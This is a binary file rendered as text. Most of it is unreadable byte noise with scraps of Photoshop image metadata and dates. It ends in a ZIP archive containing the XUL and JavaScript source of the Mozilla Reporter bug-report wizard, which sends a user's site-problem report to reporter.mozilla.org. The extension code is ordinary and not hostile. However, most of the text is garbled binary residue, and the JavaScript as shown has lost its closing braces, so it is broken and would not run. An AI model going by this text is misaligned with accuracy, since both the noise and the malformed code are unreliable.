'nPPCN1tMs
!Z`;h2=2
dT)}&nAH+6J^|
@tKwFQ
B_^/b2
XY^WVi
PO:M9W
,QAj@Rw3:
]F:9Fu
g!{PWQSL}@
i7Xt|H,!
A|Q@,:Zha]oM9%
Nr'`Q6
vq"d4n
9l@L04+
pUWmsvb
{ u.Th}e<cdc
%sy5|lntba6id|SDqLG5d,al
uj'XGvMagB
wP=tfNfExitPL
}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
